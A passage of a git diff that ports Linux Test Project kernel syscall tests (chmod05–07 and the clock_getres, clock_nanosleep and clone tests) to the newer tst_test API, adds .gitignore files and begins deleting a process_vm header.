- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  chmod05 [-c n] [-e] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	05/2002 Fixes by wjhuie and Ferhan Shareef
- *                  changed conditional to check for valid tests only and
- *                  in a more logically understandable way
- *	07/2002 Additional fixes to #defines to allow comparisions to work.
- *		-Robbie Williamson
- *
- * RESTRICTIONS:
- *  This test should be run by root.
- *
  */
 
 #ifndef _GNU_SOURCE
-#define _GNU_SOURCE
+# define _GNU_SOURCE
 #endif
 
 #include <stdio.h>
@@ -96,129 +36,63 @@
 #include <grp.h>
 #include <pwd.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define DEBUG 0
+#include "tst_test.h"
 
 #define MODE_RWX	(mode_t)(S_IRWXU | S_IRWXG | S_IRWXO)
 #define DIR_MODE	(mode_t)(S_ISVTX | S_ISGID | S_IFDIR)
 #define PERMS		(mode_t)(MODE_RWX | DIR_MODE)
 #define TESTDIR		"testdir"
 
-char *TCID = "chmod05";
-int TST_TOTAL = 1;
-
-void setup();			/* Main setup function for test */
-void cleanup();			/* Main cleanup function for test */
-
-int main(int ac, char **av)
+static void test_chmod(void)
 {
-	struct stat stat_buf;	/* stat struct */
-	int lc;
-	mode_t dir_mode;	/* mode permissions set on test directory */
+	struct stat stat_buf;
+	mode_t dir_mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(chmod(TESTDIR, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "chmod(%s, %#o) failed",
-				 TESTDIR, PERMS);
-			continue;
-		}
-		/*
-		 * Get the directory information using
-		 * stat(2).
-		 */
-		if (stat(TESTDIR, &stat_buf) < 0) {
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "stat(%s) failed", TESTDIR);
-		}
-		dir_mode = stat_buf.st_mode;
-#if DEBUG
-		printf("DIR_MODE = 0%03o\n", DIR_MODE);
-		printf("MODE_RWX = 0%03o\n", MODE_RWX);
-		printf("PERMS = 0%03o\n", PERMS);
-		printf("dir_mode = 0%03o\n", dir_mode);
-#endif
-		if ((PERMS & ~S_ISGID) != dir_mode)
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o, "
-				 "Expected 0%03o", TESTDIR, dir_mode,
-				 PERMS & ~S_ISGID);
-		else
-			tst_resm(TPASS,
-				 "Functionality of chmod(%s, %#o) successful",
-					 TESTDIR, PERMS);
+	TEST(chmod(TESTDIR, PERMS));
+	if (TST_RET == -1) {
+		tst_res(TFAIL, "chmod(%s, %#o) failed", TESTDIR, PERMS);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_STAT(TESTDIR, &stat_buf);
+	dir_mode = stat_buf.st_mode;
+	if ((PERMS & ~S_ISGID) != dir_mode) {
+		tst_res(TFAIL, "%s: Incorrect modes 0%03o, "
+				"Expected 0%03o", TESTDIR, dir_mode,
+				PERMS & ~S_ISGID);
+	} else {
+		tst_res(TPASS, "Functionality of chmod(%s, %#o) successful",
+				TESTDIR, PERMS);
+	}
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and cd to it.
- *  Create a test directory under temporary directory.
-//wjh we are root so do we really need this kluged helper program?
- *  Invoke setuid to root program to modify group ownership
- *  on test directory.
- */
-void setup(void)
+static void setup(void)
 {
 	struct passwd *nobody_u;
-	struct group *bin_group;
+	struct group *bin_gr;
 
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	nobody_u = getpwnam("nobody");
-	if (nobody_u == NULL)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "getpwnam(\"nobody\") failed");
-#ifdef ANDROID
-	bin_group = getgrnam("everybody");
-#else
-	bin_group = getgrnam("bin");
-#endif
-	if (bin_group == NULL)
-		tst_brkm(TBROK | TERRNO, cleanup, "getgrnam(\"bin\") failed");
+	nobody_u = SAFE_GETPWNAM("nobody");
+	bin_gr = SAFE_GETGRNAM("bin");
 
 	/*
 	 * Create a test directory under temporary directory with specified
 	 * mode permissions and change the gid of test directory to nobody's
 	 * gid.
 	 */
-	SAFE_MKDIR(cleanup, TESTDIR, MODE_RWX);
-
+	SAFE_MKDIR(TESTDIR, MODE_RWX);
 	if (setgroups(1, &nobody_u->pw_gid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "setgroups to nobody's gid failed");
+		tst_brk(TBROK | TERRNO, "setgroups to nobody's gid failed");
 
-	SAFE_CHOWN(cleanup, TESTDIR, nobody_u->pw_uid, bin_group->gr_gid);
+	SAFE_CHOWN(TESTDIR, nobody_u->pw_uid, bin_gr->gr_gid);
 
 	/* change to nobody:nobody */
-	if (setegid(nobody_u->pw_gid) == -1 || seteuid(nobody_u->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "Couldn't switch to nobody:nobody");
+	SAFE_SETEGID(nobody_u->pw_gid);
+	SAFE_SETEUID(nobody_u->pw_uid);
 }
 
-void cleanup(void)
-{
-	if (setegid(0) == -1)
-		tst_resm(TWARN | TERRNO, "setegid(0) failed");
-	if (seteuid(0) == -1)
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_root	= 1,
+	.needs_tmpdir	= 1,
+	.setup		= setup,
+	.test_all	= test_chmod,
+};
diff --git a/testcases/kernel/syscalls/chmod/chmod06.c b/testcases/kernel/syscalls/chmod/chmod06.c
index acd653f..e5bb58f 100644
--- a/testcases/kernel/syscalls/chmod/chmod06.c
+++ b/testcases/kernel/syscalls/chmod/chmod06.c
@@ -1,7 +1,7 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *  07/2001 Ported by Wayne Boyer
- * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2014-2018 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software;  you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -37,27 +37,9 @@
  *   6) chmod(2) returns -1 and sets errno to ENOENT if the specified file
  *	does not exists.
  */
-
-#ifndef _GNU_SOURCE
-# define _GNU_SOURCE
-#endif
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <grp.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <sys/mount.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include <errno.h>
+#include "tst_test.h"
 
 #define MODE_RWX	(S_IRWXU|S_IRWXG|S_IRWXO)
 #define FILE_MODE	(S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
@@ -73,14 +55,12 @@
 
 static char long_path[PATH_MAX + 2];
 
-static const char *device;
-static int mount_flag;
 static uid_t nobody_uid;
 
 static void set_root(void);
 static void set_nobody(void);
 
-struct test_case_t {
+static struct tcase {
 	char *pathname;
 	mode_t mode;
 	int exp_errno;
@@ -90,7 +70,7 @@
 	{TEST_FILE1, FILE_MODE, EPERM, set_nobody, set_root},
 	{TEST_FILE2, FILE_MODE, EACCES, set_nobody, set_root},
 	{(char *)-1, FILE_MODE, EFAULT, NULL, NULL},
-	{(char *)-2, FILE_MODE, EFAULT, NULL, NULL},
+	{NULL, FILE_MODE, EFAULT, NULL, NULL},
 	{long_path, FILE_MODE, ENAMETOOLONG, NULL, NULL},
 	{"", FILE_MODE, ENOENT, NULL, NULL},
 	{TEST_FILE3, FILE_MODE, ENOTDIR, NULL, NULL},
@@ -98,109 +78,62 @@
 	{TEST_FILE4, FILE_MODE, ELOOP, NULL, NULL},
 };
 
-char *TCID = "chmod06";
-int TST_TOTAL = ARRAY_SIZE(tc);
+static char *bad_addr;
 
-static char *bad_addr = 0;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+void run(unsigned int i)
 {
-	int lc;
-	int i;
+	if (tc[i].setup)
+		tc[i].setup();
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(chmod(tc[i].pathname, tc[i].mode));
 
-	setup();
+	if (tc[i].cleanup)
+		tc[i].cleanup();
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			if (tc[i].setup)
-				tc[i].setup();
-
-			TEST(chmod(tc[i].pathname, tc[i].mode));
-
-			if (tc[i].cleanup)
-				tc[i].cleanup();
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "chmod succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == tc[i].exp_errno)
-				tst_resm(TPASS | TTERRNO,
-					 "chmod failed as expected");
-			else
-				tst_resm(TFAIL | TTERRNO,
-					 "chmod failed unexpectedly; "
-					 "expected %d - %s",
-					 tc[i].exp_errno,
-					 tst_strerrno(tc[i].exp_errno));
-		}
-
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "chmod succeeded unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TST_ERR == tc[i].exp_errno) {
+		tst_res(TPASS | TTERRNO, "chmod failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "chmod failed unexpectedly; "
+		        "expected %d - %s", tc[i].exp_errno,
+			tst_strerrno(tc[i].exp_errno));
+	}
 }
 
 void set_root(void)
 {
-	SAFE_SETEUID(cleanup, 0);
+	SAFE_SETEUID(0);
 }
 
 void set_nobody(void)
 {
-	SAFE_SETEUID(cleanup, nobody_uid);
+	SAFE_SETEUID(nobody_uid);
 }
 
 void setup(void)
 {
 	struct passwd *nobody;
-	const char *fs_type;
+	unsigned int i;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	nobody = SAFE_GETPWNAM(NULL, "nobody");
+	nobody = SAFE_GETPWNAM("nobody");
 	nobody_uid = nobody->pw_uid;
 
-	bad_addr = SAFE_MMAP(NULL, 0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	tc[3].pathname = bad_addr;
+	bad_addr = SAFE_MMAP(0, 1, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
 
-	tst_tmpdir();
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (!tc[i].pathname)
+			tc[i].pathname = bad_addr;
+	}
 
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	SAFE_TOUCH(cleanup, TEST_FILE1, 0666, NULL);
-	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
-	SAFE_TOUCH(cleanup, TEST_FILE2, 0666, NULL);
-	SAFE_CHMOD(cleanup, DIR_TEMP, FILE_MODE);
-	SAFE_TOUCH(cleanup, "t_file", MODE_RWX, NULL);
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-
-	/*
-	 * mount a read-only file system for test EROFS
-	 */
-	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, MS_RDONLY, NULL);
-	mount_flag = 1;
+	SAFE_TOUCH(TEST_FILE1, 0666, NULL);
+	SAFE_MKDIR(DIR_TEMP, MODE_RWX);
+	SAFE_TOUCH(TEST_FILE2, 0666, NULL);
+	SAFE_CHMOD(DIR_TEMP, FILE_MODE);
+	SAFE_TOUCH("t_file", MODE_RWX, NULL);
 
 	memset(long_path, 'a', PATH_MAX+1);
 
@@ -208,22 +141,21 @@
 	 * create two symbolic links who point to each other for
 	 * test ELOOP.
 	 */
-	SAFE_SYMLINK(cleanup, "test_file4", "test_file5");
-	SAFE_SYMLINK(cleanup, "test_file5", "test_file4");
+	SAFE_SYMLINK("test_file4", "test_file5");
+	SAFE_SYMLINK("test_file5", "test_file4");
 }
 
 static void cleanup(void)
 {
-	if (chmod(DIR_TEMP, MODE_RWX) == -1)
-		tst_resm(TBROK | TERRNO, "chmod(%s) failed", DIR_TEMP);
-
-	if (mount_flag && tst_umount(MNT_POINT) < 0) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "umount device:%s failed", device);
-	}
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	SAFE_CHMOD(DIR_TEMP, MODE_RWX);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/chmod/chmod07.c b/testcases/kernel/syscalls/chmod/chmod07.c
index 957adbe..af1e095 100644
--- a/testcases/kernel/syscalls/chmod/chmod07.c
+++ b/testcases/kernel/syscalls/chmod/chmod07.c
@@ -1,20 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
@@ -31,43 +17,6 @@
  * Expected Result:
  *  chmod() should return value 0 on success and succeeds to set sticky bit
  *  on the specified file.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  chmod07 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'super-user' (root) only.
- *
  */
 
 #include <stdio.h>
@@ -80,116 +29,63 @@
 #include <grp.h>
 #include <pwd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-#define LTPUSER		"nobody"
-#ifdef ANDROID
-#define LTPGRP		"sdcard_r"
-#else
-#define LTPGRP		"users"
-#endif
-#define FILE_MODE 	(S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
-#define PERMS		01777	/*
-				 * Mode permissions of test file with sticky
-				 * bit set.
-				 */
+#define FILE_MODE	(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)
+#define PERMS		01777	/* Permissions with sticky bit set. */
 #define TESTFILE	"testfile"
 
-char *TCID = "chmod07";
-int TST_TOTAL = 1;
-
-void setup();			/* Main setup function for the test */
-void cleanup();			/* Main cleanup function for the test */
-
-int main(int ac, char **av)
+void test_chmod(void)
 {
-	struct stat stat_buf;	/* stat(2) struct contents */
-	int lc;
+	struct stat stat_buf;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call chmod(2) with specified mode argument
-		 * (sticky-bit set) on testfile.
-		 */
-		TEST(chmod(TESTFILE, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "chmod(%s, %#o) failed",
-				 TESTFILE, PERMS);
-			continue;
-		}
-		/*
-		 * Get the testfile information using
-		 * stat(2).
-		 */
-		if (stat(TESTFILE, &stat_buf) == -1)
-			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "stat failed");
-
-		/* Check for expected mode permissions */
-		if ((stat_buf.st_mode & PERMS) == PERMS)
-			tst_resm(TPASS, "Functionality of "
-				 "chmod(%s, %#o) successful",
-				 TESTFILE, PERMS);
-		else
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o; "
-				 "expected 0%03o", TESTFILE,
-				 stat_buf.st_mode, PERMS);
+	/*
+	 * Call chmod(2) with specified mode argument
+	 * (sticky-bit set) on testfile.
+	 */
+	TEST(chmod(TESTFILE, PERMS));
+	if (TST_RET == -1) {
+		tst_brk(TFAIL | TTERRNO, "chmod(%s, %#o) failed",
+				TESTFILE, PERMS);
 	}
 
-	cleanup();
-	tst_exit();
+	if (stat(TESTFILE, &stat_buf) == -1) {
+		tst_brk(TFAIL | TTERRNO, "stat failed");
+	}
+
+	/* Check for expected mode permissions */
+	if ((stat_buf.st_mode & PERMS) == PERMS) {
+		tst_res(TPASS, "Functionality of chmod(%s, %#o) successful",
+				TESTFILE, PERMS);
+	} else {
+		tst_res(TFAIL, "%s: Incorrect modes 0%03o; expected 0%03o",
+				TESTFILE, stat_buf.st_mode, PERMS);
+	}
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- *  Change the ownership of test file to that of "ltpuser1" user.
- */
 void setup(void)
 {
-	struct passwd *ltpuser;	/* password struct for ltpuser1 */
-	struct group *ltpgroup;	/* group struct for ltpuser1 */
-	int fd;			/* file descriptor variable */
-	gid_t group1_gid;	/* user and process group id's */
+	struct passwd *ltpuser;
+	struct group *ltpgroup;
+	int fd;
+	gid_t group1_gid;
 	uid_t user1_uid;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_require_root();
-
-	tst_tmpdir();
-
-	/* Get the uid of guest user - ltpuser1 */
-	if ((ltpuser = getpwnam(LTPUSER)) == NULL)
-		tst_brkm(TBROK, cleanup, "getpwnam failed");
+	ltpuser = SAFE_GETPWNAM("nobody");
 	user1_uid = ltpuser->pw_uid;
 
-	/* Get the group id of guest user - ltpuser1 */
-	if ((ltpgroup = getgrnam(LTPGRP)) == NULL)
-		tst_brkm(TBROK, cleanup, "getgrnam failed");
+	ltpgroup = SAFE_GETGRNAM_FALLBACK("users", "daemon");
 	group1_gid = ltpgroup->gr_gid;
 
-	fd = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	SAFE_CLOSE(cleanup, fd);
-	SAFE_CHOWN(cleanup, TESTFILE, user1_uid, group1_gid);
-
-	SAFE_SETGID(cleanup, group1_gid);
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
+	SAFE_CLOSE(fd);
+	SAFE_CHOWN(TESTFILE, user1_uid, group1_gid);
+	SAFE_SETGID(group1_gid);
 }
 
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = test_chmod,
+};
diff --git a/testcases/kernel/syscalls/chown/.gitignore b/testcases/kernel/syscalls/chown/.gitignore
new file mode 100644
index 0000000..3edf4e2
--- /dev/null
+++ b/testcases/kernel/syscalls/chown/.gitignore
@@ -0,0 +1,10 @@
+/chown01
+/chown01_16
+/chown02
+/chown02_16
+/chown03
+/chown03_16
+/chown04
+/chown04_16
+/chown05
+/chown05_16
diff --git a/testcases/kernel/syscalls/chroot/.gitignore b/testcases/kernel/syscalls/chroot/.gitignore
new file mode 100644
index 0000000..ef67e15
--- /dev/null
+++ b/testcases/kernel/syscalls/chroot/.gitignore
@@ -0,0 +1,4 @@
+/chroot01
+/chroot02
+/chroot03
+/chroot04
diff --git a/testcases/kernel/syscalls/chroot/chroot01.c b/testcases/kernel/syscalls/chroot/chroot01.c
index 9cdcab8..a1db5e1 100644
--- a/testcases/kernel/syscalls/chroot/chroot01.c
+++ b/testcases/kernel/syscalls/chroot/chroot01.c
@@ -54,11 +54,7 @@
 int TST_TOTAL = 1;
 int fail;
 
-#ifndef ANDROID
-char path[] = "/tmp";
-#else
-char path[] = "/data/local/tmp";
-#endif
+char *path;
 
 char nobody_uid[] = "nobody";
 struct passwd *ltpuser;
@@ -98,6 +94,7 @@
 	tst_require_root();
 
 	tst_tmpdir();
+	path = tst_get_tmpdir();
 
 	if ((ltpuser = getpwnam(nobody_uid)) == NULL)
 		tst_brkm(TBROK | TERRNO, cleanup,
@@ -114,5 +111,6 @@
 {
 	SAFE_SETEUID(NULL, 0);
 
+	free(path);
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/clock_getres/.gitignore b/testcases/kernel/syscalls/clock_getres/.gitignore
new file mode 100644
index 0000000..9c2f30a
--- /dev/null
+++ b/testcases/kernel/syscalls/clock_getres/.gitignore
@@ -0,0 +1 @@
+/clock_getres01
diff --git a/testcases/kernel/syscalls/clock_getres/clock_getres01.c b/testcases/kernel/syscalls/clock_getres/clock_getres01.c
index 989683f..da37b8a 100644
--- a/testcases/kernel/syscalls/clock_getres/clock_getres01.c
+++ b/testcases/kernel/syscalls/clock_getres/clock_getres01.c
@@ -59,8 +59,8 @@
 {
 	TEST(clock_getres(tcase[i].clk_id, tcase[i].res));
 
-	if (TEST_RETURN != tcase[i].ret) {
-		if (TEST_ERRNO == EINVAL) {
+	if (TST_RET != tcase[i].ret) {
+		if (TST_ERR == EINVAL) {
 			tst_res(TCONF, "clock_getres(%s, ...) NO SUPPORTED", tcase[i].name);
 			return;
 		}
@@ -69,10 +69,10 @@
 		return;
 	}
 
-	if (TEST_ERRNO != tcase[i].err) {
+	if (TST_ERR != tcase[i].err) {
 		tst_res(TFAIL,
 			"clock_getres(%s, ...) failed unexpectedly: %s, expected: %s",
-			tcase[i].name, tst_strerrno(TEST_ERRNO), tst_strerrno(tcase[i].err));
+			tcase[i].name, tst_strerrno(TST_ERR), tst_strerrno(tcase[i].err));
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/clock_nanosleep/.gitignore b/testcases/kernel/syscalls/clock_nanosleep/.gitignore
new file mode 100644
index 0000000..6714ff4
--- /dev/null
+++ b/testcases/kernel/syscalls/clock_nanosleep/.gitignore
@@ -0,0 +1,2 @@
+/clock_nanosleep01
+/clock_nanosleep02
diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
index 9ddc9a7..2be211b 100644
--- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
+++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
@@ -133,15 +133,15 @@
 		}
 	}
 
-	if (TEST_RETURN != tc->exp_ret) {
+	if (TST_RET != tc->exp_ret) {
 		tst_res(TFAIL | TTERRNO, "returned %ld, expected %d,"
-			" expected errno: %s (%d)", TEST_RETURN,
+			" expected errno: %s (%d)", TST_RET,
 			tc->exp_ret, tst_strerrno(tc->exp_err), tc->exp_err);
 		return;
 	}
 
 	tst_res(TPASS, "returned %s (%ld)",
-		tst_strerrno(TEST_RETURN), TEST_RETURN);
+		tst_strerrno(TST_RET), TST_RET);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
index 9b0b243..a79ef5e 100644
--- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
+++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
@@ -34,9 +34,9 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TFAIL | TERRNO,
-			"nanosleep() returned %li", TEST_RETURN);
+			"nanosleep() returned %li", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/clock_nanosleep2/.gitignore b/testcases/kernel/syscalls/clock_nanosleep2/.gitignore
new file mode 100644
index 0000000..5be9cd0
--- /dev/null
+++ b/testcases/kernel/syscalls/clock_nanosleep2/.gitignore
@@ -0,0 +1 @@
+/clock_nanosleep2_01
diff --git a/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c b/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
index 3d8288c..244508e 100644
--- a/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
+++ b/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
@@ -50,7 +50,7 @@
 
 	TEST(clock_nanosleep2(CLOCK_TO_USE, TIMER_ABSTIME, &ts, NULL));
 
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_res(TFAIL | TTERRNO, "clock_nanosleep2() failed");
 	else
 		tst_res(TPASS, "clock_nanosleep2() passed");
diff --git a/testcases/kernel/syscalls/clone/.gitignore b/testcases/kernel/syscalls/clone/.gitignore
new file mode 100644
index 0000000..900cac1
--- /dev/null
+++ b/testcases/kernel/syscalls/clone/.gitignore
@@ -0,0 +1,9 @@
+/clone01
+/clone02
+/clone03
+/clone04
+/clone05
+/clone06
+/clone07
+/clone08
+/clone09
diff --git a/testcases/kernel/syscalls/clone/clone08.c b/testcases/kernel/syscalls/clone/clone08.c
index a228b2f..a567340 100644
--- a/testcases/kernel/syscalls/clone/clone08.c
+++ b/testcases/kernel/syscalls/clone/clone08.c
@@ -97,13 +97,13 @@
 	TEST(ltp_clone7(t->flags, t->do_child, NULL, CHILD_STACK_SIZE,
 		child_stack, &ptid, NULL, &ctid));
 
-	if (TEST_RETURN == -1 && TTERRNO == ENOSYS)
+	if (TST_RET == -1 && TTERRNO == ENOSYS)
 		tst_brk(TCONF, "clone does not support 7 args");
 
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TTERRNO, "%s clone() failed", t->name);
 
-	return TEST_RETURN;
+	return TST_RET;
 }
 
 static void test_clone_parent(int t)
diff --git a/testcases/kernel/syscalls/clone/clone09.c b/testcases/kernel/syscalls/clone/clone09.c
index a6ebdd7..b133c66 100644
--- a/testcases/kernel/syscalls/clone/clone09.c
+++ b/testcases/kernel/syscalls/clone/clone09.c
@@ -56,13 +56,13 @@
 {
 	TEST(ltp_clone(flags, newnet, NULL, CHILD_STACK_SIZE, child_stack));
 
-	if (TEST_RETURN == -1 && TEST_ERRNO == EINVAL)
+	if (TST_RET == -1 && TST_ERR == EINVAL)
 		tst_brk(TCONF, "CONFIG_NET_NS was disabled");
 
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TTERRNO, "clone(CLONE_NEWNET) failed");
 
-	return TEST_RETURN;
+	return TST_RET;
 }
 
 static void do_test(void)
diff --git a/testcases/kernel/syscalls/close/.gitignore b/testcases/kernel/syscalls/close/.gitignore
new file mode 100644
index 0000000..11cfd85
--- /dev/null
+++ b/testcases/kernel/syscalls/close/.gitignore
@@ -0,0 +1,3 @@
+/close01
+/close02
+/close08
diff --git a/testcases/kernel/syscalls/cma/.gitignore b/testcases/kernel/syscalls/cma/.gitignore
new file mode 100644
index 0000000..1ee39d9
--- /dev/null
+++ b/testcases/kernel/syscalls/cma/.gitignore
@@ -0,0 +1,4 @@
+/process_vm01
+/process_vm_readv02
+/process_vm_readv03
+/process_vm_writev02
diff --git a/testcases/kernel/syscalls/cma/process_vm.h b/testcases/kernel/syscalls/cma/process_vm.h
deleted file mode 100644
index 1ecf325..0000000
--- a/testcases/kernel/syscalls/cma/process_vm.h
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2012 Linux Test Project, Inc.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
- */
-
-#ifndef _PROCESS_VM_H_
-#define _PROCESS_VM_H_
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/sem.h>
-#include <sys/syscall.h>
-#include <sys/uio.h>
-#include <unistd.h>
